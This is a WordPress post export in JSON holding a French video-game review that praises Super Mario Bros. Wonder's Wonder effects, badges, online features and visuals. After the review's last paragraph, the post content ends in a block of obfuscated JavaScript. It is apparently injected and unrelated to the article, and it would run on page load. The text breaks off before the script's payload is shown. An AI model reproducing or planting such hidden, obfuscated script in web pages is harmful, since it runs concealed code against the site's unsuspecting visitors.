{"id":14618,"date":"2023-10-18T18:05:04","date_gmt":"2023-10-18T16:05:04","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=14618"},"modified":"2023-10-18T18:05:05","modified_gmt":"2023-10-18T16:05:05","slug":"super-mario-bros-wonder-le-renouveau-des-jeux-2d-mario","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/super-mario-bros-wonder-le-renouveau-des-jeux-2d-mario\/","title":{"rendered":"Super Mario Bros. Wonder : le renouveau des jeux 2D Mario"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Super Mario Bros. Wonder : le renouveau des jeux 2D Mario\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p class=\"has-white-color has-vivid-cyan-blue-background-color has-text-color has-background has-medium-font-size\">Que Nintendo l&#8217;ait pr\u00e9vu ou non, la sagesse conventionnelle tend \u00e0 classer les jeux Mario modernes en quelque sorte dans une liste mentale. Les jeux Mario 3D comme Galaxy et Odyssey sont les jeux phares de plateforme avec la mascotte, tandis que les jeux Mario 2D comme la s\u00e9rie New Super Mario Bros. sont un peu des rappels r\u00e9tro de moindre prestige. Toujours bons et fiables, mais moins prestigieux. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1500\" height=\"844\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-1500x844.png\" alt=\"\" class=\"wp-image-14619\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-1500x844.png 1500w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-600x338.png 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-200x113.png 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-768x432.png 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-1536x864.png 1536w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-110x62.png 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-420x236.png 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1-764x430.png 764w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206939-smb_wonder_1.png 1920w\" sizes=\"(max-width: 1500px) 100vw, 1500px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">C&#8217;est apr\u00e8s des ann\u00e9es o\u00f9 les jeux 2D ont langui en tant que doublures que Super Mario Bros. Wonder prend le devant de la sc\u00e8ne &#8211; et il offre une performance si spectaculaire qu&#8217;il sugg\u00e8re, implicitement ou non, que les jeux Mario 2D peuvent \u00eatre tout aussi essentiels pour le m\u00e9dium que leurs homologues 3D.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">En essence, les effets Wonder qui donnent leur nom \u00e0 Mario Wonder peuvent \u00eatre compar\u00e9s aux plan\u00e8tes de Super Mario Galaxy &#8211; un crochet simple et facile \u00e0 comprendre qui donne aux concepteurs de niveaux carte blanche pour \u00eatre aussi inventifs et \u00e9tranges qu&#8217;ils le souhaitent, constamment en train de r\u00e9inventer les m\u00e9canismes et de subvertir les attentes. Le r\u00e9sultat, une fois de plus, est un jeu rempli de d\u00e9licieuses petites surprises, comme si vous ouvriez une s\u00e9rie de cadeaux faits sp\u00e9cialement pour vous, le fan averti des jeux Mario de plateforme.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Ces effets Wonder s&#8217;\u00e9tendent \u00e0 l&#8217;histoire, qui est libre et discr\u00e8te. Mario et ses amis rendent visite au Prince Florian du Royaume des Fleurs voisin, qui est d\u00e9sireux de montrer le plus grand tr\u00e9sor de son royaume, la Fleur Merveilleuse. Mais Bowser fait irruption dans l&#8217;\u00e9v\u00e9nement diplomatique, bien s\u00fbr, et vole la Fleur Merveilleuse, se transformant en un ch\u00e2teau flottant vivant qui domine le royaume et corrompt tout \u00e0 l&#8217;int\u00e9rieur. L&#8217;intrigue de l&#8217;histoire ne d\u00e9crit pas correctement les effets des Fleurs Merveilleuses, mais on en comprend l&#8217;essentiel : elle modifie la r\u00e9alit\u00e9 de mani\u00e8res \u00e9normes et souvent inattendues.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1500\" height=\"844\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-1500x844.png\" alt=\"\" class=\"wp-image-14620\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-1500x844.png 1500w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-600x338.png 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-200x113.png 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-768x432.png 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-1536x864.png 1536w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-110x62.png 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-420x236.png 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2-764x430.png 764w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206930-smb_wonder_2.png 1920w\" sizes=\"(max-width: 1500px) 100vw, 1500px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">Cette pr\u00e9misse d&#8217;histoire offre effectivement \u00e0 Nintendo un ch\u00e8que en blanc pour la cr\u00e9ativit\u00e9, permettant \u00e0 n&#8217;importe quel vol de fantaisie de se d\u00e9rouler aussi longtemps ou aussi bri\u00e8vement que n\u00e9cessaire pour trouver le plaisir. Ce faisant, le jeu recr\u00e9e la logique onirique et impr\u00e9visible qui a rendu les jeux originaux si m\u00e9morables.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u00c0 un moment donn\u00e9, vous sautez et tournoyez \u00e0 travers un niveau Super Mario traditionnel, et le moment d&#8217;apr\u00e8s, vous pouvez \u00eatre transform\u00e9 en Goomba et vous cacher des cr\u00e9atures carnivores qui mangent les Goombas, ou vous ne vous verrez qu&#8217;en silhouette, ou vous bondirez au rythme d&#8217;une danse rythmique. Certains de ces niveaux sont vraiment stimulants, tandis que d&#8217;autres ne sont que des clins d&#8217;\u0153il mignons pour offrir une courte pause. On ne sait jamais vraiment ce qui va se passer ensuite.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1500\" height=\"844\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-1500x844.png\" alt=\"\" class=\"wp-image-14621\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-1500x844.png 1500w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-600x338.png 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-200x113.png 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-768x432.png 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-1536x864.png 1536w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-110x62.png 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-420x236.png 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4-764x430.png 764w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206932-smb_wonder_4.png 1920w\" sizes=\"(max-width: 1500px) 100vw, 1500px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">Tr\u00e8s rarement, un effet Wonder se r\u00e9p\u00e9tera, mais il s&#8217;agira g\u00e9n\u00e9ralement d&#8217;un effet qui peut \u00eatre utilis\u00e9 dans plusieurs niveaux. L&#8217;exception m\u00e9morable survient tr\u00e8s t\u00f4t dans le jeu, lorsque deux niveaux de Jonc suivent de pr\u00e8s l&#8217;un l&#8217;autre. Ces niveaux vous font chevaucher le dos d&#8217;un troupeau en furie, et c&#8217;est une blague amusante la premi\u00e8re fois, mais je dois admettre que j&#8217;ai ressenti un peu d&#8217;anxi\u00e9t\u00e9 face \u00e0 la r\u00e9p\u00e9tition si t\u00f4t dans le jeu. S&#8217;ils r\u00e9p\u00e8tent d\u00e9j\u00e0 des id\u00e9es, peut-\u00eatre y a-t-il moins d&#8217;inventivit\u00e9 que je l&#8217;esp\u00e9rais ? Heureusement, cette crainte a disparu au fur et \u00e0 mesure de mes explorations et de ma d\u00e9couverte de la multitude d&#8217;effets Wonder vari\u00e9s et de types de niveaux.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">La vari\u00e9t\u00e9 est renforc\u00e9e par le nouveau d\u00e9cor, qui offre \u00e9galement la possibilit\u00e9 de cr\u00e9er de nombreux nouveaux types d&#8217;ennemis qui s&#8217;int\u00e8grent parfaitement dans l&#8217;esth\u00e9tique visuelle et le gameplay traditionnels de Mario. On y retrouve des favoris familiers comme les Goombas et les Boos, ainsi que de nombreuses nouvelles cr\u00e9ations inventives. Les Condarts sont des vols rapides aux becs ac\u00e9r\u00e9s qui foncent droit sur vous et se plantent dans le sol ou dans le mur. Les Hoppycats sont des ennemis dangereux \u00e0 carapace pointue qui sautent \u00e0 chaque fois que vous le faites, exigeant de r\u00e9fl\u00e9chir soigneusement \u00e0 votre approche. Les Mumsies sont des cr\u00e9<\/p>\n\n\n\n<p class=\"has-medium-font-size\">atures momifi\u00e9es invuln\u00e9rables \u00e0 moins de les aborder par derri\u00e8re et de tirer sur leur bandelette pendante pour les d\u00e9rouler. La liste est longue.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1500\" height=\"844\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-1500x844.png\" alt=\"\" class=\"wp-image-14622\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-1500x844.png 1500w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-600x338.png 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-200x113.png 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-768x432.png 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-1536x864.png 1536w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-110x62.png 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-420x236.png 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5-764x430.png 764w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/10\/4206933-smb_wonder_5.png 1920w\" sizes=\"(max-width: 1500px) 100vw, 1500px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">Ce qui est le plus surprenant, c&#8217;est que malgr\u00e9 les nouveaux types d&#8217;ennemis et le sentiment constant de surprise procur\u00e9 par les Fleurs Merveilleuses, Super Mario Bros. Wonder ne perd jamais son identit\u00e9 de jeu Mario. La plateforme est aussi tranchante que jamais, et la conception des niveaux fonctionne comme dans un grand jeu Mario, m\u00eame lorsque vous manquez ou d\u00e9cidez de ne pas ramasser de Fleur Merveilleuse. L&#8217;artisanat de la conception des niveaux se manifeste dans les petits d\u00e9tails, comme le fait d&#8217;arroser l&#8217;une des nombreuses fleurs magiques du royaume, qui fait virevolter ses p\u00e9tales au gr\u00e9 du vent, vous r\u00e9compensant avec des pi\u00e8ces tout en attirant subtilement votre attention vers des points d&#8217;int\u00e9r\u00eat.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">La poign\u00e9e de nouvelles am\u00e9liorations correspond \u00e9galement parfaitement au canon Mario. L&#8217;\u00e9l\u00e9phant est la principale am\u00e9lioration, qui fait de Mario et de ses amis des g\u00e9ants, leur conf\u00e9rant une force suppl\u00e9mentaire et la capacit\u00e9 de recueillir et de pulv\u00e9riser de l&#8217;eau avec leur trompe. La Bulle, qui vous permet de pi\u00e9ger des ennemis ou de cr\u00e9er des plates-formes \u00e0 \u00e9clater pour sauter, ressemble \u00e0 un concept simple mais bien r\u00e9alis\u00e9 qui aurait pu exister dans un jeu Mario depuis des ann\u00e9es. Ma pr\u00e9f\u00e9r\u00e9e personnelle \u00e9tait la tenue de forage, qui vous permet de creuser sous terre ou m\u00eame dans le plafond, de creuser jusqu&#8217;\u00e0 un nouveau point, et de surgir sous un ennemi ou pr\u00e8s d&#8217;un objet difficile \u00e0 atteindre. Il excelle \u00e0 la fois en tant qu&#8217;outil de d\u00e9fense et d&#8217;attaque et facilite l&#8217;exploration, en plus du motif en spirale sur la robe de Peach qui est tout simplement \u00e0 la mode.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p class=\"has-medium-font-size\">Tout cela ferait du jeu le meilleur opus de Mario 2D depuis des ann\u00e9es, mais Mario Wonder en fait encore plus. Une grande vari\u00e9t\u00e9 de personnages de la distribution de Mario sont repr\u00e9sent\u00e9s et jouables, vous permettant de jouer en tant que Mario, Luigi, Peach, Daisy, Toad Jaune ou Bleu, Toadette, plusieurs Yoshis et Nabbit. Les Yoshis et Nabbit sont invuln\u00e9rables aux d\u00e9g\u00e2ts, ce qui en fait de bons personnages de d\u00e9part sans avoir besoin de passer par une option de menu ou d&#8217;activer le &#8220;Mode Facile&#8221; pour les enfants plus jeunes.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cependant, les amis de Mario n&#8217;ont pas leurs capacit\u00e9s caract\u00e9ristiques qui ont pris naissance dans Mario 2, ce qui peut d\u00e9router certains fans de longue date. Luigi n&#8217;a pas son saut en hauteur, et Peach ne peut pas flotter en sautant. Jouer avec ces personnages sans ces capacit\u00e9s de mouvement semble un peu \u00e9trange, et cela a pour effet de rendre chaque personnage identique en termes de style de jeu. Il n&#8217;y a pas de diff\u00e9rence r\u00e9elle dans le gameplay entre, disons, Toad et Luigi, et cela peut \u00eatre difficile \u00e0 s&#8217;habituer. Cependant, il semble viser \u00e0 mettre tout le monde sur un pied d&#8217;\u00e9galit\u00e9, et cela fonctionne assez bien.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Au lieu des capacit\u00e9s distinctes des personnages se trouvent des Badges, qui donnent \u00e0 Mario et \u00e0 ses amis un syst\u00e8me d&#8217;\u00e9quipement l\u00e9ger. C&#8217;est l\u00e0 que vous pouvez \u00e9quiper un badge &#8220;Saut en Hauteur Flottant&#8221; qui imite le saut en hauteur, par exemple, de sorte que si vous voulez \u00e9quiper cela et jouer en tant que Luigi, vous pouvez recr\u00e9er la sensation. (Il n&#8217;y a pas de badge pour le saut en flottaison de Peach, du moins autant que j&#8217;ai pu le trouver). Les badges se d\u00e9clinent en trois vari\u00e9t\u00e9s. Les Badges d&#8217;Action, comme le Saut en Hauteur Flottant, modifient votre comportement de jeu r\u00e9el de mani\u00e8re notable, tandis que les Badges de Boost vous donnent un avantage passif. Par exemple, le Bond de S\u00e9curit\u00e9 vous offre une sauvegarde unique si vous tombez dans un trou ou sur des pointes, tandis que la R\u00e9compense de Pi\u00e8ces vous accorde des pi\u00e8ces chaque fois que vous battez des ennemis. Les Badges d&#8217;Expert Rare modifient le jeu de mani\u00e8re significative et stimulante, avec des effets de jeu plus importants que les deux autres vari\u00e9t\u00e9s. Vous ne pouvez \u00e9quiper qu&#8217;un badge \u00e0 la fois, et le jeu vous permet d&#8217;appuyer sur un bouton &#8220;Choix du Prince&#8221; pour obtenir des conseils sur le badge qui conviendrait le mieux \u00e0 un nouveau niveau. Dans l&#8217;ensemble, cela cr\u00e9e une vari\u00e9t\u00e9 de styles que vous pouvez personnaliser \u00e0 votre guise. Certains badges d\u00e9pendent de la pr\u00e9f\u00e9rence personnelle, et il y en a g\u00e9n\u00e9ralement un ou deux qui rendront un niveau plus facile, mais vous pouvez aussi vous mettre au d\u00e9fi en rejouant avec un badge qui rend le niveau encore plus difficile, ou utiliser un badge pour activer les blocs &#8220;!&#8221; qui pourraient r\u00e9v\u00e9ler de nouveaux secrets. D\u00e9couvrir toutes les permutations invite \u00e0 la rejouabilit\u00e9 et \u00e0 l&#8217;exploration.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cependant, cette personnalisation comporte une importante r\u00e9serve. En mode coop local, vous ne pouvez \u00e9quiper qu&#8217;un badge \u00e0 la fois pour tous les personnages, ce qui signifie que vous devez tous deux vous engager dans un seul style de jeu ou une puissance sur laquelle deux joueurs peuvent ne pas \u00eatre d&#8217;accord. Cela semble \u00eatre pour l&#8217;\u00e9quilibre du jeu, \u00e0 l&#8217;exception du fait que cette r\u00e8gle ne s&#8217;applique pas au multijoueur en ligne. Lorsque vous jouez avec des amis sur Internet, vous pouvez \u00e9quiper chacun vos propres Badges pour correspondre \u00e0 vos pr\u00e9f\u00e9rences ou m\u00eame r\u00e9fl\u00e9chir \u00e0 des combinaisons cr\u00e9atives. Compte tenu de cela, il est \u00e9trange que le coop local se sente comparativement limit\u00e9.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">En fait, le multijoueur en ligne de Super Mario Bros. Wonder est r\u00e9fl\u00e9chi et bien con\u00e7u, ce qui est surprenant pour une s\u00e9rie qui a souvent trait\u00e9 le jeu en ligne comme une r\u00e9flexion apr\u00e8s coup. Vous pouvez vous joindre \u00e0 un groupe et jouer ensemble \u00e0 travers<\/p>\n\n\n\n<p class=\"has-medium-font-size\">les niveaux ou partir \u00e0 l&#8217;aventure chacun de votre c\u00f4t\u00e9. Si vous rejoignez le m\u00eame niveau, vous pouvez travailler ensemble pour le conqu\u00e9rir ou d\u00e9clencher une course \u00e0 la fa\u00e7on d&#8217;une course de vitesse pour terminer le parcours en premier. Tout semble modernis\u00e9 d&#8217;une mani\u00e8re \u00e0 laquelle Mario a souvent manqu\u00e9.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Et aussi bien con\u00e7u que soit le multijoueur en ligne, le plus marquant pour moi a \u00e9t\u00e9 la gamme de nouvelles fonctionnalit\u00e9s en ligne qui am\u00e9liorent l&#8217;exp\u00e9rience m\u00eame lorsque vous jouez seul. Vous avez acc\u00e8s \u00e0 des standees, et les collectionner est l&#8217;une des utilisations de l&#8217;\u00e9conomie de pi\u00e8ces de jeu. Vous pouvez placer un standee n&#8217;importe o\u00f9 dans un niveau tant que vous pouvez vous accroupir et appuyer sur X, et ensuite votre standee appara\u00eetra dans les jeux d&#8217;autres joueurs. Vous pouvez l&#8217;utiliser pour donner un indice sur des secrets cach\u00e9s ou simplement offrir un r\u00e9pit aux autres joueurs. C&#8217;est parce que si vous mourez dans un niveau, vous vous transformez en fant\u00f4me et pouvez vous r\u00e9animer en touchant un standee \u00e0 proximit\u00e9, tout comme en multijoueur o\u00f9 vous pouvez le faire en touchant un autre joueur. Il vous incite donc \u00e0 laisser des standees \u00e0 des endroits utiles, et chaque fois qu&#8217;ils sont touch\u00e9s, vous gagnez des Points de C\u0153ur pour montrer \u00e0 quel point vous \u00eates un joueur serviable.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Jouer en \u00e9tant connect\u00e9 \u00e0 Internet signifie \u00e9galement que vous verrez parfois les ombres d&#8217;autres joueurs se promenant \u00e0 travers le niveau, ce qui peut vous aider \u00e0 r\u00e9soudre une \u00e9nigme de plates-formes difficile. Cela est mieux illustr\u00e9 dans les nouveaux niveaux de la Recherche, o\u00f9 vous devez trouver cinq pi\u00e8ces cach\u00e9es. Les standees et les ombres peuvent vous aider \u00e0 trouver la bonne direction, offrant une exp\u00e9rience de r\u00e9solution d&#8217;\u00e9nigmes asynchrones agr\u00e9able. Si vous pr\u00e9f\u00e9rez trouver les solutions vous-m\u00eame, bien s\u00fbr, vous pouvez toujours vous d\u00e9connecter et ces fant\u00f4mes et standees dispara\u00eetront.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">La Recherche est l&#8217;un des plusieurs nouveaux types de niveaux qui m\u00e9langent les niveaux traditionnels de plates-formes. Vous trouverez \u00e9galement le D\u00e9fi des Badges, o\u00f9 vous gagnez un badge en prouvant que vous savez comment l&#8217;utiliser ; l&#8217;Ar\u00e8ne KO, un niveau chronom\u00e9tr\u00e9 qui accorde des pi\u00e8ces de fleurs en fonction de la rapidit\u00e9 avec laquelle vous pouvez vaincre des salles de types d&#8217;ennemis vari\u00e9s ; et la Pause, une petite escapade rapide de moins d&#8217;une minute avec des minijeux ou des t\u00e2ches al\u00e9atoires.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Tous ces diff\u00e9rents types de niveaux sont dispers\u00e9s dans un monde ouvert qui vous permet de d\u00e9couvrir des secrets et, pour la plupart, de prendre les niveaux dans l&#8217;ordre de votre choix. Tout le monde respire la vie et l&#8217;engagement, encourageant l&#8217;exploration et la rejouabilit\u00e9 pour d\u00e9couvrir tous les niveaux, les effets Wonder, les boutiques, et bien plus encore.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Et puis, il y a un niveau surprenant de travail et de soin apport\u00e9 \u00e0 la pr\u00e9sentation. M\u00eame la s\u00e9rie visuellement terne New Super Mario Bros. a eu l&#8217;air plut\u00f4t solide, mais Super Mario Bros. Wonder a l&#8217;air carr\u00e9ment incroyable, avec une attention port\u00e9e aux expressions faciales et aux animations, ainsi qu&#8217;aux arri\u00e8re-plans et aux \u00e9l\u00e9ments de sc\u00e8ne aux couleurs vives qui ressortent \u00e0 l&#8217;\u00e9cran. Certains moments sont visuellement saisissants, ce que je n&#8217;ai pas pu dire d&#8217;un jeu Mario 2D depuis un certain temps. Une attention particuli\u00e8re est \u00e9galement accord\u00e9e \u00e0 l&#8217;audio, notamment par le biais d&#8217;un commentaire en cours d&#8217;ex\u00e9cution fourni par les fleurs parlantes parsem\u00e9es dans tout le royaume. Ces bavards peuvent donner des indices ou simplement faire une blague sur un nouvel ennemi sauvage ou un effet Wonder. Il s&#8217;agissait d&#8217;un choix risqu\u00e9 \u00e9tant donn\u00e9 la r\u00e9putation mitig\u00e9e de Nintendo en mati\u00e8re de sidekicks bavards, mais les fleurs sont vraiment dr\u00f4les, des ajouts largement non intrusifs qui aident \u00e0 orienter le joueur dans la bonne direction &#8211; parfois litt\u00e9ralement.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Super Mario Bros. Wonder est un choix audacieux pour un nom. Il plante un drapeau dans le sol qui sugg\u00e8re que tout ce qui est moins qu&#8217;un constant sens de l&#8217;\u00e9merveillement et de la joie sera un \u00e9chec \u00e0 ses propres conditions. Mais ensuite, \u00e9tonnamment, Mario Wonder rel\u00e8ve le d\u00e9fi et le r\u00e9sultat est un classique moderne. Les effets Wonder sont la caract\u00e9ristique phare, et \u00e0 juste titre, car ils servent de tremplin pour une cornucopie de cr\u00e9ativit\u00e9. Mais ce sont les choix intelligents et r\u00e9fl\u00e9chis autour des nouvelles am\u00e9liorations, des badges, du multijoueur en ligne et de l&#8217;\u00e9l\u00e9gance visuelle qui le cimentent dans le canon de Mario. Il s&#8217;agit du successeur l\u00e9gitime de Super Mario World, et esp\u00e9rons-le, servira de pierre angulaire pour les futurs jeux Mario 2D.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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